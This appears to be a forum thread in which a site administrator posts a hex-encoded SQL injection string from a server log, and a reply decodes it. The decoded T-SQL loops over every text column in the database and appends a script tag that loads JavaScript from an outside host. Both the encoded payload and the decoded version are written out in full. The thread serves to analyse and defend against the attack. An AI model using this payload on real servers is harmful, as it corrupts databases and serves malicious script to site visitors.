Recently we have seen a sharpincrease in the amount of attempted SQL injection hacks on our web servers.  I found the below in the server log last night.  this looks a lot more sophisticated than the sql injection hacks I have seen in the past. Can anyone translate this for me?

page_name.asp?zone=8&Refresh=0&HT=http;DECLARE%20@S%20VARCHAR(4000);SET%20@S=CAST(0x4445434C415245204054205641524348415228323535292C404320564152434841522832353529204445434C415245205461626C655F437572736F7220435552534F5220464F522053454C45435420612E6E616D652C622E6E616D652046524F4D207379736F626A6563747320612C737973636F6C756D6E73206220574845524520612E69643D622E696420414E4420612E78747970653D27752720414E442028622E78747970653D3939204F5220622E78747970653D3335204F5220622E78747970653D323331204F5220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20455845432827555044415445205B272B40542B275D20534554205B272B40432B275D3D525452494D28434F4E5645525428564152434841522834303030292C5B272B40432B275D29292B27273C736372697074207372633D687474703A2F2F7777772E6368696E61626E722E636F6D2F622E6A733E3C2F7363726970743E27272729204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F7220%20AS%20VARCHAR(4000));EXEC(@S);--

p.s. HT=http is the last actual URL parameter. After that the malformed URL begins.

just run this sql code (in query analyser...) to print out the sql that the exec(@s) would do:
DECLARE @S VARCHAR(4000);SET @S=CAST(0x4445434C415245204054205641524348415228323535292C404320564152434841522832353529204445434C415245205461626C655F437572736F7220435552534F5220464F522053454C45435420612E6E616D652C622E6E616D652046524F4D207379736F626A6563747320612C737973636F6C756D6E73206220574845524520612E69643D622E696420414E4420612E78747970653D27752720414E442028622E78747970653D3939204F5220622E78747970653D3335204F5220622E78747970653D323331204F5220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20455845432827555044415445205B272B40542B275D20534554205B272B40432B275D3D525452494D28434F4E5645525428564152434841522834303030292C5B272B40432B275D29292B27273C736372697074207372633D687474703A2F2F7777772E6368696E61626E722E636F6D2F622E6A733E3C2F7363726970743E27272729204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F7220 AS VARCHAR(4000));

it sets all the values in all the columns to  <script src=http://www.chinabnr.com/b.js></script>


DECLARE @T VARCHAR(255),@C VARCHAR(255) 
DECLARE Table_Cursor CURSOR FOR 
 
SELECT a.name,b.name 
FROM sysobjects a,syscolumns b 
WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167) 
 
OPEN Table_Cursor 
FETCH NEXT FROM Table_Cursor INTO @T,@C 
 
WHILE(@@FETCH_STATUS=0) 
BEGIN 
  EXEC('UPDATE ['+@T+'] SET ['+@C+']=RTRIM(CONVERT(VARCHAR(4000),['+@C+']))+''<script src=http://www.chinabnr.com/b.js></script>''') 
 
  FETCH NEXT FROM Table_Cursor INTO @T,@C 
END 
CLOSE Table_Cursor
